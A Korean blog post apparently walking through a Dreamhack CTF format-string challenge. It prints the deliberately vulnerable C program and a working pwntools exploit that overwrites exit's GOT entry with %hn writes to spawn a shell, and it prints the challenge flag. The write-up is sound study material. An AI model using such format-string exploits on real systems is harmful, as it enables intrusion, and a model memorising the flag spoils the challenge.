본문 바로가기

Pwnable

[Dreamhack] basic_exploitation_002

.

 

FSB는 Format String Bug의 약자로 서식 문자를 사용하는 함수에서 발생한다.

 

 

printf에 문자열로 "%s, %p, %d, %n" 등이 들어간다면 "서식문자"로 인식하게 된다.

 

 

 

 

이렇게... 입력한 문자가 똑같이 출력된다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

 

문제 코드이다. 

 

 

alarm_handler(): SIGALRM 시그널을 처리하는 함수로, 시간이 30초 경과하면 "TIME OUT"을 출력하고 프로그램을 종료한다.

initialize(): 입출력 버퍼의 설정, 시그널 핸들러 등의 초기화를 담당하는 함수이다. 특히 SIGALRM 시그널을 처리하기 위해 alarm_handler 함수를 등록하고 30초 동안의 타임아웃을 설정한다.

get_shell(): /bin/sh 쉘을 실행하는 함수한다. 이 함수를 호출하면 프로그램이 /bin/sh 쉘을 실행한다.

main(): 프로그램의 진입점이다. 128바이트 크기의 버퍼 buf를 선언하고, initialize 함수를 호출하여 초기화를 수행한다. 그 후, 표준 입력에서 128바이트를 읽어 buf에 저장하고, 사용자가 입력한 내용을 그대로 출력한다. 이 부분에서 버퍼 오버플로우 취약점이 발생할 수 있다. 마지막으로 프로그램을 정상적으로 종료한다.

 

print(buf): 사용자로부터 입력받은 buf를 서식 문자열로 바로 사용하고 있다. 따라서 FSB가 발생할 수 있다.

 


 

 


Solve:

그러므로 buf에 서식 문자를 넣어서 FSB를 발생시킨 뒤에 get_shell 함수를 실행시키게 하면 될 것이 자명하다.

 

여기서 get_shell을 실행시키기 위해서는 exit(0)을 이용해야 한다.

 

그러므로 exit이 실행될 때 exit 대신 get_shell이 실행되게 만들어줘야 한다.

 

그렇게 하기 위해서는 exit_got에 get_shell 함수 주소로 Overwrite를 해야 한다.

 

그래서 우리에게 필요한 것은 exit_got Overwrite을 위 exit_got 주소와 get_shell 주소이다.

32비트 바이너리이다.

 

IDA Pro(32bit) 에서 주소를 찾아봤다.

 

exit_got 주소 : 804A024

 

 

get_shell 주소 : 8048609

 

from pwn import*

p = remote("host3.dreamhack.games", 1879)

exit = 0x804a024

payload = (p32(exit+2).decode('latin-1') + p32(exit).decode('latin-1') +
           "%2044c%1$hn%32261c%2$hn")

p.send(payload)

p.interactive()

 exit_got에 get_shell 주소를 %n으로 한 번에 넘겨주기에는 0x8048609 = 134,514,185 으로 값이 크기에, 2바이트씩 잘라서 exit_got에는 0x8609를 exit_got +2 에는 0x804를 넘겨 준다.

이 때, 주소를 적느라 8바이트가 사용되었으므로 %2052c(2052 = 0x804)가 아닌 %2044c(0x804 - 0x8)가 사용된다.

 

 decode('latin-1')를 사용하여 바이트열을 일반 문자열로 변환해주었다. 

 

즉, "%2044c%1$hn%32261c%2$hn" 이 부분이 포맷 문자열이다.

%2044c: 첫 번째 인자에 2044(0x804 - 0x8)만큼 공백 문자를 출력한다.
%1$hn: 다음으로 스택 상의 첫 번째 인자를 2바이트로 출력한다.
%32261c: 이번에는 두 번째 인자에 32261(0x8609 - 0x804)만큼 공백 문자를 출력한다.
%2$hn: 마지막으로 스택 상의 두 번째 인자를 2바이트로 출력한다.

 

 

 

 


exit의 GOT 항목을 get_shell 함수의 주소로 덮어쓰고, 이후에 exit(0)이 호출될 때 대신에 get_shell 함수가 호출되어 공격자에게 쉘 권한이 주어지도록 하도록.. 만들었다.

 

 

 

쉘이 따졌고 플래그가 출력됐다.

 

Flag is 
DH{59c4a03eff1e4c10c87ff123fb93d56c}

'Pwnable' 카테고리의 다른 글

[DreamHack] Format String Bug 문서화  (0) 2023.11.14
[Dreamhack] uaf_overwrite  (0) 2023.11.14
스택 카나리, NX&ASLR, PLT&GOT  (0) 2023.09.26
[Dreamhack] Return to Library Write-up  (0) 2023.09.25
[Dreamhack] ssp_001 Write-up  (0) 2023.09.25